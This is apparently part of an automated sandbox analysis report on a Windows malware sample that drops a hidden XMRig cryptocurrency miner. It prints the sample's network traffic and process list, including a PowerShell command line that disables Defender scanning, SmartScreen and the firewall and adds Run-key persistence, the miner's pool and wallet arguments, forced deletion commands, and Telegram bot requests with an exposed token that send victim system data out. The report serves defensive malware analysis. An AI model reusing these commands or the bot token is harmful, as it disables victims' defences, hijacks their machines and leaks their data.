ce 2d 35 19 5f 4f f3 90 32 46 b9 2d 2f fa 1e af 25 78 a8 ba 88 f4 35 7b cc 64 87 35 2f 55 b7 00 0d 2d 12 54 f6 9c d8 57 88 b8 d7 9c 8a 4d 83 b2 3d 01 7a 40 40 d7 cd 4b c9 22 d4 ec 64 da 9d 08 a8 e6 45 25 2a 82 e3 0d 73 80 cb 49 b2 ff 42 ef 91 00 55 58 aa e2 1c ca 9a 0c 8f bf 74 00 2c c5 0d 32 d5 f1 72 cf 09 18 9e 18 e0 3a 21 71 30 47 fa f4 62 81 8c fd c5 cf 01 12 98 5b 8c 8a 18 74 2b 67 ad 32 c9 a3 d7 a8 ee ca 04 c5 6f 64 84 c4 4d 41 dc f4 a2 99 dd 27 a9 1b d0 e7 d3 29 5e b6 b3 40 27 a1 cd cb 35 74 b4 69 f9 29 46 56 8a b1 2c 88 8b ae 49 67 75 65 9b 34 bc 49 f8 b9 83 17 ef 01 b3 10 b8 b5 f5 c0 fb 9e 09 1c 01 2c bd 55 8c 1c 0b 3c 7d 82 f4 67 93 ac a8 af 52 9b 7f 82 19 68 d1 b0 d6 28 0b 8d 25 a4 c8 26 58 0a b7 21 f5 7a a1 94 a2 d7 fb 14 53 ed 18 3d 85 60 ba d6 1c 10 21 f1 0b d0 42 e8 51 99 13 45 0b 49 8f c5 ab 1f 38 36 1c 4e b1 ea b6 9c 99 a1 83 48 1e 00 7a c2 0c 15 a4 a7 8c 00 3f 4f 3b 83 aa 8c 32 3b 63 f7 d3 43 7b b8 3d 12 42 19 b0 eb 00 c1 81 06 72 87 18 fa 13 07 58 05 1b fc e7 69 65 45 60 eb ca 59 3a 59 a8 69 c0 5d fc 1b 2f 0b 3f 25 64 92 a2 39 1d c7 5b c9 58 13 c9 0e 14 a2 06 1c 9a c3 d1 47 9a 02 d6 7f 50 52 42 18 b9 8d 52 b8 33 40 70 2d 40 3a 68 f4 e7 9c ef 79 d6 ad aa b2 75 be 84 f8 75 c7 78 42 fd 9d 12 70 87 0d 45 07 c0 15 5e 40 9e 3f ce a0 fb 4c 90 84 fc 76 87 27 05
                                                                                                                                                                                                      Data Ascii: PKcITo?config.txtAErC(zK9W7ZKimc(tISw%>5<L_hzs@NOr8pMFN]LV3&T'kICj\8}{uZV0hA~$*cz:(ppPKo?PKc`T_-4~Database.exeAE;t^aw3}kk|iF(-z]=kcEVl7xo7T$2xF'qC@q[ GlnN'Hh<PBCzSK^Q3odpjk mAyu?'tRQ{y=7I@mV4:JE(?n-\p!oj4^k>Wu\L6tA^BD4*0Q?$~]-'qP^UO-5_O2F-/%x5{d5/U-TWM=z@@K"dE%*sIBUXt,2r:!q0Gb[t+g2odMA')^@'5ti)FV,Igue4I,U<}gRh(%&X!zS=`!BQEI86NHz?O;2;cC{=BrXieE`Y:Yi]/?%d9[XGPRBR3@p-@:hyuuxBpE^@?Lv'


                                                                                                                                                                                                      HTTPS Proxied Packets

                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      0192.168.2.7497593.232.242.170443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                                                                      2022-07-22 15:01:24 UTC0OUTGET / HTTP/1.1
                                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36
                                                                                                                                                                                                      Host: api.ipify.org
                                                                                                                                                                                                      2022-07-22 15:01:24 UTC0INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: Cowboy
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/plain
                                                                                                                                                                                                      Vary: Origin
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:24 GMT
                                                                                                                                                                                                      Content-Length: 10
                                                                                                                                                                                                      Via: 1.1 vegur
                                                                                                                                                                                                      2022-07-22 15:01:24 UTC0INData Raw: 38 34 2e 31 37 2e 35 32 2e 32
                                                                                                                                                                                                      Data Ascii: 84.17.52.2


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      1192.168.2.749762149.154.167.220443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                                                                      2022-07-22 15:01:24 UTC0OUTGET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1
                                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36
                                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                                      2022-07-22 15:01:25 UTC0INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:25 GMT
                                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                                      Content-Length: 387
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                                      2022-07-22 15:01:25 UTC1INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 30 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 34 36 38 38 31 39 30 35 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 6f 70 61 74 61 4d 69 6e 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 6f 70 61 74 61 4d 69 6e 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 34 37 37 36 35 39 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 73 61 79 4d 61 6e 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 65 73 61 79 6d 61 6e 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 38 35 30 32 30 38 35 2c 22 74 65 78 74 22 3a 22 4e 65 77 20 55 73 65
                                                                                                                                                                                                      Data Ascii: {"ok":true,"result":{"message_id":38076,"from":{"id":5468819057,"is_bot":true,"first_name":"LopataMiner","username":"LopataMiner_bot"},"chat":{"id":547765995,"first_name":"EsayMane","username":"esaymane","type":"private"},"date":1658502085,"text":"New Use


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      2192.168.2.7497703.220.57.224443C:\ProgramData\MicrosoftNetwork\System.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                                                                      2022-07-22 15:01:46 UTC1OUTGET / HTTP/1.1
                                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36
                                                                                                                                                                                                      Host: api.ipify.org
                                                                                                                                                                                                      2022-07-22 15:01:47 UTC1INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: Cowboy
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/plain
                                                                                                                                                                                                      Vary: Origin
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:47 GMT
                                                                                                                                                                                                      Content-Length: 10
                                                                                                                                                                                                      Via: 1.1 vegur
                                                                                                                                                                                                      2022-07-22 15:01:47 UTC1INData Raw: 38 34 2e 31 37 2e 35 32 2e 32
                                                                                                                                                                                                      Data Ascii: 84.17.52.2


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      3192.168.2.749771149.154.167.220443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                                                                      2022-07-22 15:01:47 UTC1OUTGET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1
                                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36
                                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                                      2022-07-22 15:01:47 UTC2INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:47 GMT
                                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                                      Content-Length: 387
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                                      2022-07-22 15:01:47 UTC2INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 30 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 34 36 38 38 31 39 30 35 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 6f 70 61 74 61 4d 69 6e 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 6f 70 61 74 61 4d 69 6e 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 34 37 37 36 35 39 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 73 61 79 4d 61 6e 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 65 73 61 79 6d 61 6e 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 38 35 30 32 31 30 37 2c 22 74 65 78 74 22 3a 22 4e 65 77 20 55 73 65
                                                                                                                                                                                                      Data Ascii: {"ok":true,"result":{"message_id":38079,"from":{"id":5468819057,"is_bot":true,"first_name":"LopataMiner","username":"LopataMiner_bot"},"chat":{"id":547765995,"first_name":"EsayMane","username":"esaymane","type":"private"},"date":1658502107,"text":"New Use


                                                                                                                                                                                                      Statistics

                                                                                                                                                                                                      CPU Usage

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      Memory Usage

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                                                                                      Behavior

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      System Behavior

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:0
                                                                                                                                                                                                      Start time:17:01:21
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Users\user\Desktop\2dOeahdsto.exe"
                                                                                                                                                                                                      Imagebase:0x7ff6f66d0000
                                                                                                                                                                                                      File size:450560 bytes
                                                                                                                                                                                                      MD5 hash:A0E067202878BD30C6B2A0583982F1FD
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:low

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:1
                                                                                                                                                                                                      Start time:17:01:22
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:4
                                                                                                                                                                                                      Start time:17:01:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
                                                                                                                                                                                                      Imagebase:0x7ff612400000
                                                                                                                                                                                                      File size:447488 bytes
                                                                                                                                                                                                      MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:.Net C# or VB.NET
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:5
                                                                                                                                                                                                      Start time:17:01:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:7
                                                                                                                                                                                                      Start time:17:01:43
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\MicrosoftNetwork\System.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\MicrosoftNetwork\System.exe"
                                                                                                                                                                                                      Imagebase:0x7ff6b0920000
                                                                                                                                                                                                      File size:450560 bytes
                                                                                                                                                                                                      MD5 hash:A0E067202878BD30C6B2A0583982F1FD
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Antivirus matches:
                                                                                                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                      • Detection: 73%, Virustotal, Browse
                                                                                                                                                                                                      • Detection: 26%, Metadefender, Browse
                                                                                                                                                                                                      • Detection: 69%, ReversingLabs
                                                                                                                                                                                                      Reputation:low

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:8
                                                                                                                                                                                                      Start time:17:01:43
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\Systemd\Database.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
                                                                                                                                                                                                      Imagebase:0x7ff7e8070000
                                                                                                                                                                                                      File size:8295936 bytes
                                                                                                                                                                                                      MD5 hash:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000008.00000002.418913343.00007FF700B95000.00000008.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000008.00000000.409610408.00007FF700B95000.00000008.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\ProgramData\Systemd\Database.exe, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\ProgramData\Systemd\Database.exe, Author: Joe Security
                                                                                                                                                                                                      • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\ProgramData\Systemd\Database.exe, Author: ditekSHen
                                                                                                                                                                                                      Antivirus matches:
                                                                                                                                                                                                      • Detection: 100%, Avira
                                                                                                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                      • Detection: 71%, Virustotal, Browse
                                                                                                                                                                                                      • Detection: 31%, Metadefender, Browse
                                                                                                                                                                                                      • Detection: 69%, ReversingLabs
                                                                                                                                                                                                      Reputation:low

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:9
                                                                                                                                                                                                      Start time:17:01:43
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:10
                                                                                                                                                                                                      Start time:17:01:43
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:12
                                                                                                                                                                                                      Start time:17:01:44
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:13
                                                                                                                                                                                                      Start time:17:01:45
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:moderate

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:14
                                                                                                                                                                                                      Start time:17:01:45
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:15
                                                                                                                                                                                                      Start time:17:01:46
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:16
                                                                                                                                                                                                      Start time:17:01:46
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:17
                                                                                                                                                                                                      Start time:17:01:46
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:18
                                                                                                                                                                                                      Start time:17:01:47
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:19
                                                                                                                                                                                                      Start time:17:01:47
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:20
                                                                                                                                                                                                      Start time:17:01:47
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:21
                                                                                                                                                                                                      Start time:17:01:48
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:22
                                                                                                                                                                                                      Start time:17:01:49
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
